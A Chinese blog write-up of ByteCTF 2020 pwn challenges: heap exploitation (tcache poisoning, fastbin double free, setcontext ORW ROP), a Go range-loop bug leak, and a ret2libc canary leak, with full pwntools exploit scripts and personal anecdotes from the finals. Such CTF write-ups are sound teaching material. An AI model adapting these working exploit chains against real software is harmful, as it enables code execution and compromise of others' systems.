【CTF.0x01】ByteCTF2020-Pwn WP

本文最后更新于:2023年8月13日 晚上

每天早上起来对着空气挥一拳!不为别的!只因为不想做C++逆向!

0x00.绪论

ByteCTF是由字节跳动办的CTF,同时也是是字节跳动“安全范儿”高校挑战赛的一部分,作为baby pwner有幸和协会的师傅们代表L-team一起去北京参加了最后的总决赛(虽然说我好像没发挥啥作用Or2

题目的质量都很高,以及逆向量十分巨大,比赛当天把我给看晕了(当然主要还是因为我太菜了Or2

0x01.线上赛 - CTF -PWN

0x00.easy_heap - null by any address + tcache poisoning

点击下载-easyheap

点击下载-libc-2.31.so

惯例的堆题签到题,惯例的checksec,保护全开

image.png

拖入IDA进行分析(部分函数、变量经重命名)

image.png

不难看出,该程序有着分配、释放、打印堆块的功能,且最多只能分配8个堆块,空间有一丶丶紧张

image.png

漏洞:任意地址写0

我们不难发现在分配堆块的函数中存在着任意地址写0的漏洞

image.png

利用这个漏洞我们便可以构造tcache poisoning:free掉几个堆块进tcache后改写第一个堆块的fd指针指向自身(这里我们需要分到一个自身的fd的地址的高字节为’\x00’的堆块)

同时,我们可以将一个堆块送入unsorted bin后切割出一个小堆块并打印,获得libc的基址

需要注意的是*(ptr + size -1)写0的操作、我们的输入、unsortedbin的分割过程都会破坏分割出来的这个小堆块上所储存的内容,,故我们需要将这个0写到别的不会破坏堆结构的地方,同时我们的size应当尽量小、输入应当尽量少、且贴合原chunk内容,以保证我们能够获得正确的libc基址

我们先分配8个大小为0x91的chunk并释放,之后尝试分割出一个最小的chunk(malloc(1),得到只清空了一个字节的0x21大小的chunk),gdb调试发现main_arena + 96的地址的最后一个字节都是\xe0,故我们仅输入一个\xe0字节即可

image.png

gdb调试发现这个小chunk保存的地址是main_arena + 352的地址,输出即可获得libc基址

image.png

接下来利用任意地址写0构造tcache poisoning:分配出FD所在地址末字节为0的chunk,free进tcache,之后用任意地址写0使其FD指向自己的FD即可

image.png

最后构造fake chunk改写__free_hooksystem后释放一个内容为"/bin/sh"的chunk即可get shell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
#context.log_level = 'DEBUG'
p = process("./easyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

def cmd(command:int):
p.recvuntil(b">> ")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.sendline(content)

def newWithZero(zero_location:int, size:int, content):
cmd(1)
p.recvuntil(b"Size: ")
p.sendline(str(zero_location).encode())
p.recvuntil(b"Invalid size.")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.sendline(content)

def dump(index:int):
cmd(2)
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"Content: ")

def delete(index:int):
cmd(3)
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())

def exp():
# fill the tcache
log.info("Start filling the tcache")
for i in range(8):
new(0x80, "arttnba3")
for i in range(7):
delete(7 - i)

# leak the libc addr
log.info("Start leaking the libc addr")
delete(0)
newWithZero(0x100, 0x1, b'\xe0') # idx 0
dump(0)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 352
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info("Libc addr:" + str(hex(libc_base)))

# tcache poisoning
log.info("Start tcache poisoning")
new(0x70, "arttnba3") # idx 1
new(0x60, "arttnba3") # idx 2, the former chunk left in unsorted-bin cut
new(0x50, "arttnba3") # idx 3
new(0x50, "arttnba3") # idx 4
new(0x50, "arttnba3") # idx 5

delete(3)
delete(5)
delete(4)

newWithZero(-0xbf, 0x40, "arttnba3") # idx 3
new(0x50, p64(libc_base + libc.sym['__free_hook'])) # idx 4
new(0x50, b"/bin/sh\x00") # idx 5
new(0x50, p64(libc_base + libc.sym['system'])) # idx 6, fake chunk

# get the shell
delete(5) # system("/bin/sh")
p.interactive()

if __name__ == '__main__':
exp()

运行,成功getshell

image.png

0x01.gun - Use After Free + fastbin double free + ORW

这道题我的IDA逆出来是一堆的shit…但是看别人的wp里IDA逆出来的东西怎么都这么正常…Orz

换了IDA7.5,至少能看懂程序逻辑了XD

点击下载-gun

点击下载-libc-2.31.so

惯例的checksec,保护全开(大比赛的堆题好像都是保护全开,已经没有checksec的必要了

image.png

拖入IDA进行分析,IDA分析出一坨shit

符号表扣光,啥都看不出(悲)

image.png

seccomp限制了一堆东西,琢磨着应该是拿不到shell了,应该还是只能走orw拿弗莱格

image.png

程序模拟了一把枪,能够射出、装载、购买子弹,其中子弹对应的就是chunk,购买子弹对应malloc

最多能够分配14个堆块,空间充足(x

buy()函数中限制了chunk的size为0x10~0x500(似乎没什么用)

其中qword_4070存放的是子弹槽对应标志位,0为该槽子弹已被射出(free),1为该槽已被使用(存放有chunk指针),2为该槽子弹已被装载(链入”弹匣“单向链表中)

综合起来我们不难看出其使用一个结构体来表示一个“子弹”

1
2
3
4
5
6
typedef struct __INTERNAL_BULLET_
{
char * name;
long long flag;
struct __INTERNAL_BULLET_ * next_bullet;
}bullet;

其中成员name储存的便是chunk指针

load()函数中会使用头插法构建”弹匣“(单向链表),其中会使用chunk的bk指针存储原链表中头结点

漏洞:Use After Free

shoot()函数中会依次将”弹匣“链表上的”子弹”释放,随后会将该子弹的flag置0,但是没有清空其next_chunk指针,存在Use After Free漏洞,对于子弹链表的不严格检测可以导致double free

同时shoot函数还整合了打印堆块内容的功能,利用这个功能我们可以通过再分配后二次释放的方式通过chunk上残留指针泄露libc基址与堆基址

由于题目所给的libc版本为2.31,添加了对tcache key的检测,无法直接在tcache内进行double free,故考虑先填满tcache后在fastbin内double free,后通过stash机制清空tcache使得fastbin内形如A->B->A的chunk倒入tcache中,实现任意地址写,这种做法不需要通过fastbin的size检查

同时由于程序本身限制了系统调用,我们只能通过orw读取flag

考虑通过setcontext()中的gadget进行控制寄存器,同时我们还需要控制rdx寄存器,考虑劫持__free_hook后通过libc中如下gadget控制rdx后跳转至setcontext函数内部:

这个 gadget 一般在这个函数里

image.png

最后通过setcontext构建的rop链orw即可,使用pwntools中的SigreturnFrame()可以快速构造 ucontext_t结构体

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

p = process('./gun')
e = ELF('./gun')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def cmd(command:int):
p.recvuntil(b"Action> ")
p.sendline(str(command).encode())

def shoot(times:int):
cmd(1)
p.recvuntil(b"Shoot time: ")
p.sendline(str(times).encode())

def load(index:int):
cmd(2)
p.recvuntil(b"Which one do you want to load?")
p.sendline(str(index).encode())

def buy(size:int, content):
cmd(3)
p.recvuntil(b"Bullet price: ")
p.sendline(str(size).encode())
p.recvuntil(b"Bullet Name: ")
p.sendline(content)

def exp():
p.sendline(b"arttnba3")

buy(0x10, b"arttnba3") # idx 0
buy(0x500, b"arttnba3") # idx 1
buy(0x10, b"arttnba3") # idx 2

# leak the libc addr
load(1)
shoot(1)
buy(0x20, b'') # idx 1
load(1)
shoot(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1168
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base: ' + hex(libc_base))

# leak the heap addr
buy(0x20, b'AAAAAAAAAAAAAAAA') # idx 1
load(1)
shoot(1)
p.recvuntil(b'AAAAAAAAAAAAAAAA')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info('heap addr leak: ' + hex(heap_leak))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base: ' + hex(heap_base))

# construct the fake_frame on heap
fake_frame_addr = heap_base + 0x310 + 0x10
fake_frame = SigreturnFrame()
fake_frame['uc_stack.ss_size'] = libc_base + libc.sym['setcontext'] + 61
fake_frame.rdi = 0
fake_frame.rsi = libc_base + libc.sym['__free_hook']
fake_frame.rdx = 0x200
fake_frame.rsp = libc_base + libc.sym['__free_hook']
fake_frame.rip = libc_base + libc.sym['read']

load(0)
shoot(1)
buy(0x100, bytes(fake_frame))

# tcache poisoning with fastbin double free
for i in range(9):
buy(0x20, b'arttnba3')
load(9)
load(10)
shoot(2)
buy(0x20, b'arttnba3') # idx 9
buy(0x20, b'arttnba3') # idx 10
load(1)
for i in range(6):
load(3 + i)
shoot(7)
load(10)
load(9)
shoot(3) # double free in fastbin
for i in range(7):
buy(0x20, b'arttnba3') # clear the tcache
buy(0x20, p64(libc_base + libc.sym['__free_hook'])) # idx 9
buy(0x20, b'./flag\x00') # idx 10, which we use to store the flag
buy(0x20, b'arttnba3') # idx 11, overlapping chunk with idx 9
buy(0x20, p64(libc_base + 0x154930)) # idx12, our fake chunk on __free_hook

# construct the setcontext with gadget chain
flag_addr = heap_base + 0x570 + 0x10

payload = p64(0) + p64(fake_frame_addr)# rdi + 8 for the rdx, we set it to the addr of the fake frame

buy(0x100, payload) # idx 13

# construct the orw rop chain
pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx ; ret')).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()

orw = b''
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['write'])

# get the flag
load(13)
shoot(1)
p.sendline(orw)
p.interactive()

if __name__ == '__main__':
exp()

运行即可获得flag

有关setcontext()的利用见:setcontext 函数exploit - Ex个人博客

以及构造rop链时遇到了一个玄学问题…使用libc中的pop rdx ; ret的gadget会触发Segmentation Fault,只好改用pop rdx ; pop rbx ; ret的gadget来更改rdx寄存器的值…原因不明…

0x02.leak - golang data race

原题给出了一个不完整的golang程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main
func main() {
flag := []int64{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
for i, v := range flag {
flag[i] = v + 1
}
hack()
}
/* your function will be placed here */
/* input the whole hack() function as follow */
/* and end the code with '#' */
/*
func hack() {
TODO
}
*/

我们所需要做的就是补充hack()函数的结构体,以泄露main()函数中保存的flag

面向github做题可以发现这个issue:cmd/compile: for range loop reading past slice end #40367

稍微改一改我们的exp就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

func hack() {
rates:=[]uint64{0xff}
for star, rate := range rates {
if star+1 < 1 {
panic("")
}
print(string(rate-1))
}
}

func main() {
flag := []int64{'f', 'l', 'a', 'g', '{', 'a', 'r', 't', 't', 'n', 'b', 'a', '3', '_', 't', '3', 's', '7', '_', 'f', '1', '@', '9', '!', '}', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
for i, v := range flag {
flag[i] = v + 1
}
hack()
}

运行即可获得flag

某种程度上算是个社工题233333

以及这个bug已经在更高版本的go编译器中被修复(> 1.14.6)

0x03.Pwndroid

0x02.线下赛 - AWD - PWN

作为大二的小萌新第一次来打线下赛,说实话还是挺激动的,同时也是👴第一次来首都,算是长了长见识,可惜没能去看天安门()

和RX大哥一起住五星级酒店,不得不说是真滴豪华,害有个带🛁能够让👴🛀,太腐败了,👴以后也想去字节,太财大气粗了

恰了老百京名吃儿——豆汁儿,对 于 人 类 而 言 为 时 尚 早 的 味 道

0002.jpg

Day1

过于奢华的早餐,还是自助餐,太腐败了——👴本想这样批判一番资本主义的腐败,但是实在是太好恰了

0003.jpg

以及现场说实话还是挺热闹的(周迅脸:挖,人好多啊.jpg)

0004.jpg

以下是第一天的战果

第一天就被日爆了,diary 那题一开始🧠短路了没注意到是从 bk 写,exp 出来别人老早修完了

C++ 和 vm 逆向量死🦄大,其他几道题被日爆,想整点流量分析反打回去,结果👴和RX都⑧咋会弄,大眼瞪小眼

后面靠老大哥 huai 宝出了一道 vm pwn 勉强收支平衡(其实还是挨打),后面就白给了

打完比赛回 🏨 还有小零食恰,本来想奋战一晚上的,但是👴和RX都摸了,🛏💤💤💤

0005.jpg

0x00.diary - Use After Free + tcache poisoning + heap overflow

点击下载-diary

感悟:这次线下的AWD逆向量巨大,符号表扣光,神必C++看着十分头晕主要还是我太菜了Or2

最简单的签到题,以至于我写完exp之后大家早就都修好了,甚至通防一挂这题就没法拿到shell了,所以基本上也不用修,不过想想似乎还是能够利用任意写在栈上构造ROP以后ORW读flag,但是比赛的时候忙着看后面的题去了

大概是以下几个点:

  • delete堆块的时候没有置零存在UAF
  • edit时会输出堆块大小,也就是输出FD,FD指针用来存储堆块大小,可以泄露堆地址和libc基址
  • 由于犯了以chunk的FD指针来判断堆块大小的逻辑错误判断,于是delete后再edit可以进行堆块溢出
  • 修改__free_hook为system以后释放一个内容为”/bin/sh”的块即可get shell

比赛中踩坑的点:

  • 由于FD用于储存堆块大小,利用edit泄露main_arena的时候会破坏BK,需要手动将main_arena + 96输回去
  • 同上,由于输入都是从BK开始,故需要堆溢出改一个chunk的FD为”/bin/sh”

比赛时写的exp如下:(稍微有一丶乱…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from LibcSearcher import *
context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./diary')#remote('', 5021)
e = ELF('./diary')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so") # test locally
one_gadget = 0xe6e73

def cmd(index:int):
p.recvuntil(b'Options')
p.sendline(str(index).encode())

def new(name, size:int, content):
cmd(1)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.sendline(content)

def edit(name, content):
cmd(2)
p.recvuntil(b"Name:")
p.sendline(name)
p.recvuntil(b"bytes:")
p.sendline(content)

def free(name):
cmd(3)
p.recvuntil(b"Name:")
p.sendline(name)

def guess():
cmd(4)

def exp():
new('arttnba1', 0x10, '/bin/sh\x00')
new('arttnba0', 0x10, 'arttnba0')
new('arttnba2', 0x20, 'arttnba2')
new('shell', 0x30, 'shell')
new('sheep', 0x30, 'sheep')
#gdb.attach(p)

# fill the tcache
for i in range(5):
free('arttnba0')
edit('arttnba0', '') # clear the tcache key
for i in range(5):
free('shell')
edit('shell', '')
for i in range(5):
free('arttnba2')
edit('arttnba2', '')

# leak the heap addr
free('arttnba2')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba2')
p.recvuntil(b"Input")
heap_addr = int(p.recvuntil('bytes', drop = True), 16)
p.sendline('')


new('arttnba3', 0x90, 'arttnba3')
# fill the tcache
for i in range(7):
free('arttnba3')
edit('arttnba3', '')

# leak the libc
free('arttnba3')
p.recv()
cmd(2)
p.recvuntil(b"Name:")
p.sendline('arttnba3')
p.recvuntil(b"Input")
main_arena = int(p.recvuntil('bytes', drop = True), 16) - 96
p.sendline(p64(main_arena + 96)) # fix the heap
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info('libc addr: ' + hex(libc_base))

#gdb.attach(p)
# tcache poisoning
edit('arttnba0', b'A' * (0x8 + 0x50) + p64(0) + p64(0x31) + b'A' * 0 + p64(libc_base + libc.sym['__free_hook'] - 8) * 3)
new('arttnba7', 0x20, p64(libc_base + libc.sym['system'])*2)
new('freehook', 0x20, p64(libc_base + libc.sym['system'])*2)
#gdb.attach(p)
#p.interactive()
edit('shell', b'A' * (0x8 + 0x20 + 0x50) + p64(0) + p64(0x41) + b'A' * 0 + b'/bin/sh\x00' * 10)
#gdb.attach(p)
free('sheep') # system("/bin/sh")
p.interactive()


if __name__ == '__main__':
exp()

0x01.Tiktok - ret2libc | Use After Free

点击下载-pwn

点击下载-libc-2.31.so

想都不用想肯定是保护全开

image.png

一开始要输一个密码

image.png

有个菜单,大概是可以创建 tiktok 账户的样子()

image.png

delete 函数里面有两个小❀指令,简单修一下

image.png

image.png

然后就能 Create Function 了

解法一:ret2libc

这个是赛后听 V&N 的师傅讲到的,说实话笔者一看到菜单就一直在想堆漏洞,却忽略了栈上那些事…

不要陷入思维定势啊(恼)

听说你用 memcpy 来拷贝字符串.jpg

image.png

什么,你还给了个输出,还能让我们重新修 canary,太贴心了.jpg

image.png

从 canary 到返回地址之间有三个值,测了一下除了ebp以外的两个好像不能动,最好先一步步泄露出来

image.png

直接当作最常规的 ret2libc 来做就行

有的时候会出现一些不明错误,多爆一两次就行

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
global p
e = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
ret = e.search(asm('ret')).__next__()

def exp():
p.sendline('TikTokAdmin')

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'A' * 57)
p.recvuntil(b'A' * 57)
canary = u64(b'\x00' + p.recv(7))
log.success('canary leak: ' + hex(canary))
p.sendline(b'\x00' * 57)

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'A' * (56 + 8))
p.recvuntil(b'A' * (56 + 8))
stack_val_1 = u64(p.recv(6).ljust(8, b'\x00'))
log.info('stack val 1: ' + hex(stack_val_1))
p.sendline(b'A' * 56 + p64(canary))

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'A' * (56 + 8 + 8))
p.recvuntil(b'A' * (56 + 8 + 8))
stack_val_2 = u64(p.recv(6).ljust(8, b'\x00'))
log.info('stack val 2: ' + hex(stack_val_2))
p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1))

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'A' * (56 + 8 + 8 + 8))
p.recvuntil(b'A' * (56 + 8 + 8 + 8))
stack_val_3 = u64(p.recv(6).ljust(8, b'\x00'))
log.info('stack val 3: ' + hex(stack_val_3))
p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2))

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'A' * 0x58)
p.recvuntil(b'A' * 0x58)
elf_leak = u64(p.recv(6).ljust(8, b'\x00'))
elf_base = elf_leak - 0x57a5
log.success('elf base: ' + hex(elf_base))
p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2) + p64(stack_val_3) + p64(elf_base + pop_rdi_ret) + p64(elf_base + e.got['puts']) + p64(elf_base + 14548) + p64(elf_base + 0x49F3)) # e.plt['puts'] and e.sym['main']
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))

p.sendline('TikTokAdmin')

p.sendline('Delete 0')
p.recvuntil(b"Please input the super root's password: ")
p.sendline(b'arttnba3')
p.recvuntil(b"Try again: ")
#gdb.attach(p)
p.sendline(b'A' * 56 + p64(canary) + p64(stack_val_1) + p64(stack_val_2) + p64(stack_val_3) + p64(elf_base + ret) + p64(elf_base + pop_rdi_ret) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()) + p64(libc_base + libc.sym['system']))

p.interactive()

if __name__ == '__main__':
count = 1
while True:
try:
print('time: no.' + str(count))
p = process('./pwn')
exp()
except Exception as ex:
count += 1

运行即可 get shell

image.png

当然,A&D赛制你除了要拿洞去打别人以外还得修自己的洞,不然自己也会被打成■■…那么这个洞怎么 patch 呢?

解法二:Use After Free

这个是我比赛的时候动态调出来的洞,但是 C++ 逆向是真的真的真的真的太头大了…

每天早上起来对着空气挥一拳!不为别的!只因为不想做C++逆向!

0x02.vm -

点击下载-chall

虚拟机pwn

Day2

0x00.chatroom -

点击下载-pwn

说实话因为第二天就打个上午…基本上都在摸🐟…以下是赛后复盘…

checksec 一下,没开 canary 和 PIE

image.png